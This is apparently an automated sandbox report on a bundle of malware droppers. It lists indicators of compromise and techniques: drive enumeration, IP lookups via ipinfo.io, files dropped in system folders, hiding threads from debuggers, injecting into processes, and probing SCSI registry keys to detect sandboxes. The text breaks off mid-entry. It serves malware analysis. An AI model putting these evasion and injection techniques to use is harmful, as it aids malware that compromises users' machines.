\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA uwz6ZUHSCyxltV2IgG5A08cq.exe Key value queried \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA SZc7fXwttJeRSQADolGmkBM5.exe -
Enumerates connected drives 3 TTPs 64 IoCs
Attempts to read the root path of hard drives other than the default C: drive.
Processes:
Cleaner Installation.exeGameBoxWin64.exeSetup.exemsiexec.exedescription ioc process File opened (read-only) \??\U: Cleaner Installation.exe File opened (read-only) \??\F: GameBoxWin64.exe File opened (read-only) \??\E: Cleaner Installation.exe File opened (read-only) \??\Z: Cleaner Installation.exe File opened (read-only) \??\J: Setup.exe File opened (read-only) \??\S: Setup.exe File opened (read-only) \??\K: msiexec.exe File opened (read-only) \??\O: msiexec.exe File opened (read-only) \??\U: msiexec.exe File opened (read-only) \??\N: GameBoxWin64.exe File opened (read-only) \??\T: Cleaner Installation.exe File opened (read-only) \??\K: Cleaner Installation.exe File opened (read-only) \??\A: Setup.exe File opened (read-only) \??\Z: Setup.exe File opened (read-only) \??\F: msiexec.exe File opened (read-only) \??\M: msiexec.exe File opened (read-only) \??\H: GameBoxWin64.exe File opened (read-only) \??\A: Cleaner Installation.exe File opened (read-only) \??\R: Cleaner Installation.exe File opened (read-only) \??\W: Setup.exe File opened (read-only) \??\N: msiexec.exe File opened (read-only) \??\P: msiexec.exe File opened (read-only) \??\I: GameBoxWin64.exe File opened (read-only) \??\I: Cleaner Installation.exe File opened (read-only) \??\R: Setup.exe File opened (read-only) \??\E: msiexec.exe File opened (read-only) \??\H: msiexec.exe File opened (read-only) \??\I: msiexec.exe File opened (read-only) \??\R: msiexec.exe File opened (read-only) \??\X: msiexec.exe File opened (read-only) \??\J: GameBoxWin64.exe File opened (read-only) \??\Y: Cleaner Installation.exe File opened (read-only) \??\L: GameBoxWin64.exe File opened (read-only) \??\P: GameBoxWin64.exe File opened (read-only) \??\S: GameBoxWin64.exe File opened (read-only) \??\V: GameBoxWin64.exe File opened (read-only) \??\W: GameBoxWin64.exe File opened (read-only) \??\K: GameBoxWin64.exe File opened (read-only) \??\Q: Setup.exe File opened (read-only) \??\A: msiexec.exe File opened (read-only) \??\U: GameBoxWin64.exe File opened (read-only) \??\B: Cleaner Installation.exe File opened (read-only) \??\H: Setup.exe File opened (read-only) \??\B: msiexec.exe File opened (read-only) \??\A: GameBoxWin64.exe File opened (read-only) \??\O: GameBoxWin64.exe File opened (read-only) \??\B: Setup.exe File opened (read-only) \??\M: Cleaner Installation.exe File opened (read-only) \??\Q: Cleaner Installation.exe File opened (read-only) \??\E: Setup.exe File opened (read-only) \??\E: GameBoxWin64.exe File opened (read-only) \??\L: Cleaner Installation.exe File opened (read-only) \??\O: Cleaner Installation.exe File opened (read-only) \??\F: Setup.exe File opened (read-only) \??\L: Setup.exe File opened (read-only) \??\T: Setup.exe File opened (read-only) \??\U: Setup.exe File opened (read-only) \??\Y: Setup.exe File opened (read-only) \??\F: Cleaner Installation.exe File opened (read-only) \??\X: Cleaner Installation.exe File opened (read-only) \??\N: Setup.exe File opened (read-only) \??\X: GameBoxWin64.exe File opened (read-only) \??\W: Cleaner Installation.exe File opened (read-only) \??\N: Cleaner Installation.exe -
Legitimate hosting services abused for malware hosting/C2 1 TTPs
-
Looks up external IP address via web service 12 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.
Processes:
flow ioc 242 ipinfo.io 450 ipinfo.io 31 ipinfo.io 159 ip-api.com 198 ipinfo.io 204 ipinfo.io 236 ipinfo.io 241 ipinfo.io 30 ipinfo.io 247 ipinfo.io 281 ipinfo.io 447 ipinfo.io -
Drops file in System32 directory 21 IoCs
Processes:
DrvInst.exesvchost.exeDrvInst.exetapinstall.exesvchost.exedescription ioc process File opened for modification C:\Windows\System32\DriverStore\Temp\{30a4bde4-4d2b-684b-92a1-2a50b4a89235}\SET8B84.tmp DrvInst.exe File opened for modification C:\Windows\System32\DriverStore\Temp\{30a4bde4-4d2b-684b-92a1-2a50b4a89235}\tap0901.cat DrvInst.exe File opened for modification C:\Windows\System32\DriverStore\FileRepository\oemvista.inf_amd64_a572b7f20c402d28\oemvista.inf DrvInst.exe File opened for modification C:\Windows\System32\CatRoot2\dberr.txt DrvInst.exe File opened for modification C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\INetCache\counters2.dat svchost.exe File opened for modification C:\Windows\System32\DriverStore\Temp\{30a4bde4-4d2b-684b-92a1-2a50b4a89235}\tap0901.sys DrvInst.exe File opened for modification C:\Windows\System32\DriverStore\FileRepository\oemvista.inf_amd64_a572b7f20c402d28\tap0901.cat DrvInst.exe File created C:\Windows\System32\DriverStore\FileRepository\oemvista.inf_amd64_a572b7f20c402d28\oemvista.PNF DrvInst.exe File created C:\Windows\System32\DriverStore\Temp\{30a4bde4-4d2b-684b-92a1-2a50b4a89235}\SET8B96.tmp DrvInst.exe File created C:\Windows\System32\DriverStore\Temp\{30a4bde4-4d2b-684b-92a1-2a50b4a89235}\SET8B84.tmp DrvInst.exe File opened for modification C:\Windows\System32\DriverStore\Temp\{30a4bde4-4d2b-684b-92a1-2a50b4a89235}\oemvista.inf DrvInst.exe File opened for modification C:\Windows\System32\DriverStore\Temp\{30a4bde4-4d2b-684b-92a1-2a50b4a89235}\SET8B95.tmp DrvInst.exe File created C:\Windows\System32\DriverStore\FileRepository\oemvista.inf_amd64_a572b7f20c402d28\oemvista.PNF tapinstall.exe File opened for modification C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\644B8874112055B5E195ECB0E8F243A4 svchost.exe File opened for modification C:\Windows\System32\Tasks\Firefox Default Browser Agent E8D6C1F10C37ED8F svchost.exe File created C:\Windows\System32\DriverStore\Temp\{30a4bde4-4d2b-684b-92a1-2a50b4a89235}\SET8B95.tmp DrvInst.exe File opened for modification C:\Windows\System32\DriverStore\Temp\{30a4bde4-4d2b-684b-92a1-2a50b4a89235}\SET8B96.tmp DrvInst.exe File created C:\Windows\System32\DriverStore\drvstore.tmp DrvInst.exe File opened for modification C:\Windows\System32\DriverStore\FileRepository\oemvista.inf_amd64_a572b7f20c402d28\tap0901.sys DrvInst.exe File opened for modification C:\Windows\System32\DriverStore\Temp\{30a4bde4-4d2b-684b-92a1-2a50b4a89235} DrvInst.exe File opened for modification C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\644B8874112055B5E195ECB0E8F243A4 svchost.exe -
Suspicious use of NtSetInformationThreadHideFromDebugger 64 IoCs
Processes:
n_zf2lCd7iqr37UhHsvOITg6.exe91b_xG4UC6wvh0AfGBHgwES6.exeY643TsNZoE3CWoVkhfhTqBX3.exeUYrkctL2OQTKGwhtF04YGAOe.exegd41tbyNVJg_wutYjqKRVTTH.exebuilder.exeuwz6ZUHSCyxltV2IgG5A08cq.exego9cH48Bb4zuYtKyPiBOlZX1.exeSZc7fXwttJeRSQADolGmkBM5.exeKsworbZeTIo24cyeT1ofJWo_.exezbwzoQimdRROGEo9mHvPf4j1.exemask_svc.exemask_svc.exemask_svc.exepid process 1000 n_zf2lCd7iqr37UhHsvOITg6.exe 1036 91b_xG4UC6wvh0AfGBHgwES6.exe 4184 Y643TsNZoE3CWoVkhfhTqBX3.exe 3024 UYrkctL2OQTKGwhtF04YGAOe.exe 4232 gd41tbyNVJg_wutYjqKRVTTH.exe 5224 builder.exe 5224 builder.exe 7912 uwz6ZUHSCyxltV2IgG5A08cq.exe 7784 go9cH48Bb4zuYtKyPiBOlZX1.exe 7812 SZc7fXwttJeRSQADolGmkBM5.exe 7768 KsworbZeTIo24cyeT1ofJWo_.exe 7848 zbwzoQimdRROGEo9mHvPf4j1.exe 5224 builder.exe 5224 builder.exe 5224 builder.exe 5224 builder.exe 5224 builder.exe 5224 builder.exe 5224 builder.exe 5224 builder.exe 5224 builder.exe 5224 builder.exe 7944 mask_svc.exe 5224 builder.exe 8756 mask_svc.exe 5224 builder.exe 7032 mask_svc.exe 5224 builder.exe 5224 builder.exe 5224 builder.exe 5224 builder.exe 5224 builder.exe 5224 builder.exe 5224 builder.exe 5224 builder.exe 5224 builder.exe 5224 builder.exe 5224 builder.exe 5224 builder.exe 5224 builder.exe 5224 builder.exe 5224 builder.exe 5224 builder.exe 5224 builder.exe 5224 builder.exe 5224 builder.exe 5224 builder.exe 5224 builder.exe 5224 builder.exe 5224 builder.exe 5224 builder.exe 5224 builder.exe 5224 builder.exe 5224 builder.exe 5224 builder.exe 5224 builder.exe 5224 builder.exe 5224 builder.exe 5224 builder.exe 5224 builder.exe 5224 builder.exe 5224 builder.exe 5224 builder.exe 5224 builder.exe -
Suspicious use of SetThreadContext 18 IoCs
Processes:
ozyrYY7iY8h0_1WTWvTK1gyL.exefPgM0G3n7rhaijLDD_pL2u0p.exefOuCamuGtxSiwjmw75Zz5m4y.exeEAIbE1J8PTDkC7Gf2aMII5iQ.exeb9NkWh7Fvai3VM3TxkxGpdyn.exeJ2owPAUGQjmOpvZIfDOZ3EEB.exesvchost.exeCVtpcNtrojIi9bczUlkTsrMd.exeR1FP6s6fw0A8v8prbub5phv0.exed_FGJR2mNZ7Gzs_rWqOrV9eY.exefBw0zsDv7ZMhhLbl3s7mh922.exexVcNLvnrLIkRvwMXAD_eWBuT.exeMoKLaz0woWj79HL5Op0XYhse.tmpsTQ4wwD4xnoOY9cBpfJye4ev.exe3zbtCIqjlR2JyAQgAiR9Bfp3.exeRUNDLL32.EXEbtsitavbtsitavdescription pid process target process PID 2200 set thread context of 4812 2200 ozyrYY7iY8h0_1WTWvTK1gyL.exe ozyrYY7iY8h0_1WTWvTK1gyL.exe PID 2224 set thread context of 4060 2224 fPgM0G3n7rhaijLDD_pL2u0p.exe DllHost.exe PID 3464 set thread context of 4176 3464 fOuCamuGtxSiwjmw75Zz5m4y.exe fOuCamuGtxSiwjmw75Zz5m4y.exe PID 4500 set thread context of 1200 4500 EAIbE1J8PTDkC7Gf2aMII5iQ.exe EAIbE1J8PTDkC7Gf2aMII5iQ.exe PID 4680 set thread context of 416 4680 b9NkWh7Fvai3VM3TxkxGpdyn.exe b9NkWh7Fvai3VM3TxkxGpdyn.exe PID 3540 set thread context of 5088 3540 J2owPAUGQjmOpvZIfDOZ3EEB.exe J2owPAUGQjmOpvZIfDOZ3EEB.exe PID 2756 set thread context of 5500 2756 svchost.exe svchost.exe PID 1724 set thread context of 6232 1724 CVtpcNtrojIi9bczUlkTsrMd.exe CVtpcNtrojIi9bczUlkTsrMd.exe PID 2552 set thread context of 4712 2552 R1FP6s6fw0A8v8prbub5phv0.exe R1FP6s6fw0A8v8prbub5phv0.exe PID 7840 set thread context of 7532 7840 d_FGJR2mNZ7Gzs_rWqOrV9eY.exe d_FGJR2mNZ7Gzs_rWqOrV9eY.exe PID 7888 set thread context of 7636 7888 fBw0zsDv7ZMhhLbl3s7mh922.exe fBw0zsDv7ZMhhLbl3s7mh922.exe PID 7752 set thread context of 5268 7752 xVcNLvnrLIkRvwMXAD_eWBuT.exe xVcNLvnrLIkRvwMXAD_eWBuT.exe PID 7792 set thread context of 3584 7792 MoKLaz0woWj79HL5Op0XYhse.tmp K5VKeIvX3UicT2rPEMclHW7I.exe PID 7904 set thread context of 4856 7904 sTQ4wwD4xnoOY9cBpfJye4ev.exe sTQ4wwD4xnoOY9cBpfJye4ev.exe PID 6068 set thread context of 7400 6068 3zbtCIqjlR2JyAQgAiR9Bfp3.exe 3zbtCIqjlR2JyAQgAiR9Bfp3.exe PID 1664 set thread context of 9036 1664 RUNDLL32.EXE rundll32.exe PID 7564 set thread context of 6680 7564 btsitav btsitav PID 6416 set thread context of 8836 6416 btsitav btsitav -
Drops file in Program Files directory 64 IoCs
Processes:
Setup.tmpsTQ4wwD4xnoOY9cBpfJye4ev.exeAVsCia6vuCCkGyt2pmnbB5Wp.exeEd3Gclrtkl1Ek85dcxCUI1m8.exeEsplorarne.exe.comMaskVPNUpdate.exeSetup.tmprundll32.exedescription ioc process File opened for modification C:\Program Files (x86)\MaskVPN\ssleay32.dll Setup.tmp File created C:\Program Files (x86)\MaskVPN\is-QCO7Q.tmp Setup.tmp File opened for modification C:\Program Files (x86)\MaskVPN\libeay32.dll Setup.tmp File created C:\Program Files (x86)\MaskVPN\is-7MVAJ.tmp Setup.tmp File created C:\Program Files (x86)\MaskVPN\driver\win764\is-M08N7.tmp Setup.tmp File created C:\Program Files (x86)\MaskVPN\is-3RL5O.tmp Setup.tmp File created C:\Program Files (x86)\MaskVPN\is-CV098.tmp Setup.tmp File created C:\Program Files (x86)\MaskVPN\driver\win764\is-K5N1I.tmp Setup.tmp File opened for modification C:\Program Files (x86)\Company\NewProduct\d sTQ4wwD4xnoOY9cBpfJye4ev.exe File created C:\Program Files (x86)\Company\NewProduct\tmp.edb sTQ4wwD4xnoOY9cBpfJye4ev.exe File opened for modification C:\Program Files (x86)\Company\NewProduct\jooyu.exe AVsCia6vuCCkGyt2pmnbB5Wp.exe File opened for modification C:\Program Files (x86)\MaskVPN\MaskVPN.exe Setup.tmp File opened for modification C:\Program Files (x86)\MaskVPN\tunnle.exe Setup.tmp File created C:\Program Files (x86)\MaskVPN\is-VN9BS.tmp Setup.tmp File created C:\Program Files (x86)\MaskVPN\is-1324O.tmp Setup.tmp File created C:\Program Files (x86)\MaskVPN\driver\win732\is-670BT.tmp Setup.tmp File created C:\Program Files (x86)\Company\NewProduct\Uninstall.ini Ed3Gclrtkl1Ek85dcxCUI1m8.exe File opened for modification C:\Program Files (x86)\Company\NewProduct\d.INTEG.RAW sTQ4wwD4xnoOY9cBpfJye4ev.exe File opened for modification C:\Program Files (x86)\GameBox INC\GameBox\xtect12.exe Esplorarne.exe.com File opened for modification C:\Program Files (x86)\MaskVPN\version MaskVPNUpdate.exe File created C:\Program Files (x86)\MaskVPN\driver\winxp32\is-6S3CN.tmp Setup.tmp File opened for modification C:\Program Files (x86)\INL Corpo Brovse\libass.dll Setup.tmp File created C:\Program Files (x86)\INL Corpo Brovse\is-7QB37.tmp Setup.tmp File created C:\Program Files (x86)\MaskVPN\driver\win764\is-3BISI.tmp Setup.tmp File opened for modification C:\Program Files (x86)\MaskVPN\unins000.dat Setup.tmp File opened for modification C:\Program Files (x86)\INL Corpo Brovse\QtProfiler.exe Setup.tmp File created C:\Program Files (x86)\INL Corpo Brovse\is-850SV.tmp Setup.tmp File opened for modification C:\Program Files (x86)\Company\NewProduct\md8_8eus.exe Ed3Gclrtkl1Ek85dcxCUI1m8.exe File created C:\Program Files (x86)\Company\NewProduct\d sTQ4wwD4xnoOY9cBpfJye4ev.exe File opened for modification C:\Program Files (x86)\MaskVPN\MaskVPNUpdate.exe Setup.tmp File created C:\Program Files (x86)\MaskVPN\driver\winxp32\is-RL3U2.tmp Setup.tmp File opened for modification C:\Program Files (x86)\INL Corpo Brovse\unins000.dat Setup.tmp File opened for modification C:\Program Files (x86)\GameBox INC\GameBox\PBrowFile15.exe Esplorarne.exe.com File opened for modification C:\Program Files (x86)\MaskVPN\tunnle.dll Setup.tmp File created C:\Program Files (x86)\MaskVPN\is-I4M2L.tmp Setup.tmp File opened for modification C:\Program Files (x86)\MaskVPN\libCommon.dll Setup.tmp File opened for modification C:\Program Files (x86)\MaskVPN\driver\winxp64\devcon.exe Setup.tmp File created C:\Program Files (x86)\MaskVPN\is-BK8HV.tmp Setup.tmp File created C:\Program Files (x86)\MaskVPN\is-N3C83.tmp Setup.tmp File created C:\Program Files (x86)\MaskVPN\driver\winxp32\is-IECAM.tmp Setup.tmp File opened for modification C:\Program Files (x86)\Company\NewProduct\Uninstall.exe Ed3Gclrtkl1Ek85dcxCUI1m8.exe File opened for modification C:\Program Files (x86)\GameBox INC\GameBox\GameBoxWin64.exe Esplorarne.exe.com File opened for modification C:\Program Files (x86)\GameBox INC\GameBox\Uninstall.exe Esplorarne.exe.com File created C:\Program Files (x86)\MaskVPN\driver\winxp32\is-HOSU8.tmp Setup.tmp File created C:\Program Files (x86)\INL Corpo Brovse\is-NBH3L.tmp Setup.tmp File created C:\PROGRA~3\Gskyj.tmp rundll32.exe File created C:\Program Files (x86)\MaskVPN\is-UKC64.tmp Setup.tmp File created C:\Program Files (x86)\MaskVPN\is-U5FTI.tmp Setup.tmp File created C:\Program Files (x86)\MaskVPN\driver\win732\is-VUVSV.tmp Setup.tmp File created C:\Program Files (x86)\MaskVPN\driver\winxp64\is-F6G56.tmp Setup.tmp File created C:\Program Files (x86)\MaskVPN\driver\winxp64\is-00H4R.tmp Setup.tmp File opened for modification C:\Program Files (x86)\Company\NewProduct\customer3.exe Ed3Gclrtkl1Ek85dcxCUI1m8.exe File created C:\Program Files (x86)\Company\NewProduct\d.jfm sTQ4wwD4xnoOY9cBpfJye4ev.exe File opened for modification C:\Program Files (x86)\GameBox INC\GameBox\WEATHER Manager.exe Esplorarne.exe.com File opened for modification C:\Program Files (x86)\MaskVPN\mask_svc.exe Setup.tmp File opened for modification C:\Program Files (x86)\GameBox INC\GameBox\askinstall53.exe Esplorarne.exe.com File created C:\Program Files (x86)\GameBox INC\GameBox\Uninstall.ini Esplorarne.exe.com File opened for modification C:\Program Files (x86)\MaskVPN\ipseccmd.exe Setup.tmp File created C:\Program Files (x86)\MaskVPN\driver\winxp32\is-BOL46.tmp Setup.tmp File created C:\Program Files (x86)\MaskVPN\driver\winxp64\is-HDND2.tmp Setup.tmp File created C:\Program Files (x86)\MaskVPN\driver\win732\is-BQ5OO.tmp Setup.tmp File created C:\Program Files (x86)\MaskVPN\driver\win764\is-FQ7GC.tmp Setup.tmp File created C:\Program Files (x86)\MaskVPN\driver\win764\is-E2ADM.tmp Setup.tmp File created C:\Program Files (x86)\INL Corpo Brovse\unins000.dat Setup.tmp -
Drops file in Windows directory 28 IoCs
Processes:
msiexec.exeDrvInst.exePING.EXEbtsitavtapinstall.exeDrvInst.exesvchost.exedescription ioc process File opened for modification C:\Windows\Installer\MSI9998.tmp msiexec.exe File opened for modification C:\Windows\Installer\MSIAD7F.tmp msiexec.exe File created C:\Windows\Installer\SourceHash{B59E6947-D960-4A88-902E-F387AFD7DF1F} msiexec.exe File opened for modification C:\Windows\INF\setupapi.dev.log DrvInst.exe File opened for modification C:\Windows\Installer\MSI838A.tmp msiexec.exe File created C:\Windows\Installer\inprogressinstallinfo.ipi msiexec.exe File opened for modification C:\Windows\Logs\DPX\setupact.log PING.EXE File opened for modification C:\Windows\Installer\MSIACE2.tmp msiexec.exe File opened for modification C:\Windows\Installer\MSIAFF2.tmp msiexec.exe File opened for modification C:\Windows\Debug\ESE.TXT btsitav File opened for modification C:\Windows\Installer\MSI9195.tmp msiexec.exe File opened for modification C:\Windows\Installer\MSI985E.tmp msiexec.exe File opened for modification C:\Windows\INF\setupapi.dev.log tapinstall.exe File opened for modification C:\Windows\inf\oem2.inf DrvInst.exe File created C:\Windows\inf\oem2.inf DrvInst.exe File opened for modification C:\Windows\INF\setupapi.dev.log DrvInst.exe File opened for modification C:\Windows\Logs\DPX\setuperr.log PING.EXE File created C:\Windows\Installer\f787784.msi msiexec.exe File opened for modification C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.log msiexec.exe File opened for modification C:\Windows\Installer\MSI936B.tmp msiexec.exe File opened for modification C:\Windows\Installer\ msiexec.exe File created C:\Windows\INF\oem2.PNF DrvInst.exe File opened for modification C:\Windows\Installer\MSI5DC0.tmp msiexec.exe File opened for modification C:\Windows\Installer\f787784.msi msiexec.exe File opened for modification C:\Windows\INF\setupapi.dev.log svchost.exe File opened for modification C:\Windows\Installer\MSIADCE.tmp msiexec.exe File opened for modification C:\Windows\Installer\MSIB68C.tmp msiexec.exe File opened for modification C:\Windows\Installer\MSI9232.tmp msiexec.exe -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.
-
Program crash 19 IoCs
Processes:
WerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exepid pid_target process target process 4880 3160 WerFault.exe XGmzyOBYfZX4Y4_SBh0RT_UD.exe 212 4176 WerFault.exe fOuCamuGtxSiwjmw75Zz5m4y.exe 5116 3160 WerFault.exe XGmzyOBYfZX4Y4_SBh0RT_UD.exe 4704 2920 WerFault.exe JGl2Cem4TMz2gb2tZV6ex4X8.exe 768 4396 WerFault.exe 4224 3160 WerFault.exe XGmzyOBYfZX4Y4_SBh0RT_UD.exe 4732 4396 WerFault.exe lCCCfRn_0oTOk8ooaBV_amfq.exe 4872 3160 WerFault.exe XGmzyOBYfZX4Y4_SBh0RT_UD.exe 4504 4396 WerFault.exe lCCCfRn_0oTOk8ooaBV_amfq.exe 4516 4396 WerFault.exe lCCCfRn_0oTOk8ooaBV_amfq.exe 4872 4396 WerFault.exe lCCCfRn_0oTOk8ooaBV_amfq.exe 3168 3160 WerFault.exe XGmzyOBYfZX4Y4_SBh0RT_UD.exe 2280 3160 WerFault.exe XGmzyOBYfZX4Y4_SBh0RT_UD.exe 4520 3160 WerFault.exe XGmzyOBYfZX4Y4_SBh0RT_UD.exe 2268 3160 WerFault.exe XGmzyOBYfZX4Y4_SBh0RT_UD.exe 3048 4396 WerFault.exe lCCCfRn_0oTOk8ooaBV_amfq.exe 5324 4396 WerFault.exe lCCCfRn_0oTOk8ooaBV_amfq.exe 2548 1200 WerFault.exe EAIbE1J8PTDkC7Gf2aMII5iQ.exe 6216 4768 WerFault.exe customer3.exe -
Checks SCSI registry key(s) 3 TTPs 64 IoCs
SCSI information is often read in order to detect sandboxing environments.
Processes:
svchost.exeDrvInst.exesvchost.exeDrvInst.exeK5VKeIvX3UicT2rPEMclHW7I.exetapinstall.exerundll32.exebtsitavDllHost.exebtsitavdescription ioc process Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_&Prod_HeartDisk\4&37ce57ba&0&000000\DeviceDesc svchost.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_&Prod_HeartDisk\4&37ce57ba&0&000000\UpperFilters DrvInst.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Sanu&Prod_Sanu_DVD-ROM\4&37ce57ba&0&010000\Properties\{656a3bb3-ecc0-43fd-8477-4ae0404a96cd}\2002 svchost.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_&Prod_HeartDisk\4&37ce57ba&0&000000\Properties\{80d81ea6-7473-4b0c-8216-efc11a2c4c8b}\0002 svchost.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CDROM&VEN_SANU&PROD_SANU_DVD-ROM\4&37CE57BA&0&010000 svchost.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CDROM&VEN_SANU&PROD_SANU_DVD-ROM\4&37CE57BA&0&010000 DrvInst.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_&Prod_HeartDisk\4&37ce57ba&0&000000\Properties\{78c34fc8-104a-4aca-9ea4-524d52996e57}\0052 svchost.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_&Prod_HeartDisk\4&37ce57ba&0&000000\Properties\{4340a6c5-93fa-4706-972c-7b648008a5a7}\0008 svchost.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Sanu&Prod_Sanu_DVD-ROM\4&37ce57ba&0&010000\Properties\{78c34fc8-104a-4aca-9ea4-524d52996e57}\0065 svchost.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Sanu&Prod_Sanu_DVD-ROM\4&37ce57ba&0&010000\Properties\{78c34fc8-104a-4aca-9ea4-524d52996e57}\0055 svchost.exe Key queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI K5VKeIvX3UicT2rPEMclHW7I.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\DISK&VEN_&PROD_HEARTDISK\4&37CE57BA&0&000000 svchost.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_&Prod_HeartDisk\4&37ce57ba&0&000000\CompatibleIDs tapinstall.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Sanu&Prod_Sanu_DVD-ROM\4&37ce57ba&0&010000\HardwareID rundll32.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Sanu&Prod_Sanu_DVD-ROM\4&37ce57ba&0&010000\Properties\{656a3bb3-ecc0-43fd-8477-4ae0404a96cd}\2003 svchost.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_&Prod_HeartDisk\4&37ce57ba&0&000000\Properties\{656a3bb3-ecc0-43fd-8477-4ae0404a96cd}\2006 svchost.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_&Prod_HeartDisk\4&37ce57ba&0&000000\HardwareID rundll32.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_&Prod_HeartDisk\4&37ce57ba&0&000000\Properties\{83da6326-97a6-4088-9453-a1923f573b29}\0009 svchost.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_&Prod_HeartDisk\4&37ce57ba&0&000000\Properties\{540b947e-8b40-45bc-a8a2-6a0b894cbda2}\0004\ svchost.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_&Prod_HeartDisk\4&37ce57ba&0&000000\Properties\{78c34fc8-104a-4aca-9ea4-524d52996e57}\0038 svchost.exe Key enumerated \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI btsitav Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Sanu&Prod_Sanu_DVD-ROM\4&37ce57ba&0&010000\Properties\{3464f7a4-2444-40b1-980a-e0903cb6d912}\000A\ svchost.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Sanu&Prod_Sanu_DVD-ROM\4&37ce57ba&0&010000\Properties\{656a3bb3-ecc0-43fd-8477-4ae0404a96cd}\2006 svchost.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_&Prod_HeartDisk\4&37ce57ba&0&000000\Properties\{88ad39db-0d0c-4a38-8435-4043826b5c91}\0008 svchost.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Sanu&Prod_Sanu_DVD-ROM\4&37ce57ba&0&010000\Properties\{3b2ce006-5e61-4fde-bab8-9b8aac9b26df}\0008 svchost.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Sanu&Prod_Sanu_DVD-ROM\4&37ce57ba&0&010000\Properties\{a8b865dd-2e3d-4094-ad97-e593a70c75d6}\0008 svchost.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Sanu&Prod_Sanu_DVD-ROM\4&37ce57ba&0&010000\Properties\{78c34fc8-104a-4aca-9ea4-524d52996e57}\0052 svchost.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_&Prod_HeartDisk\4&37ce57ba&0&000000\Properties\{540b947e-8b40-45bc-a8a2-6a0b894cbda2}\0004 svchost.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI btsitav Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Sanu&Prod_Sanu_DVD-ROM\4&37ce57ba&0&010000\Properties\{cf73bb51-3abf-44a2-85e0-9a3dc7a12132}\0006 svchost.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_&Prod_HeartDisk\4&37ce57ba&0&000000\Properties\{540b947e-8b40-45bc-a8a2-6a0b894cbda2}\0009 svchost.exe Key queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI DllHost.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_&Prod_HeartDisk\4&37ce57ba&0&000000\LowerFilters DrvInst.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_&Prod_HeartDisk\4&37ce57ba&0&000000 svchost.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Sanu&Prod_Sanu_DVD-ROM\4&37ce57ba&0&010000\Properties\{78c34fc8-104a-4aca-9ea4-524d52996e57}\0058 svchost.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_&Prod_HeartDisk\4&37ce57ba&0&000000\Properties\{3464f7a4-2444-40b1-980a-e0903cb6d912}\0016 svchost.exe Key enumerated \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI DllHost.exe Key opened 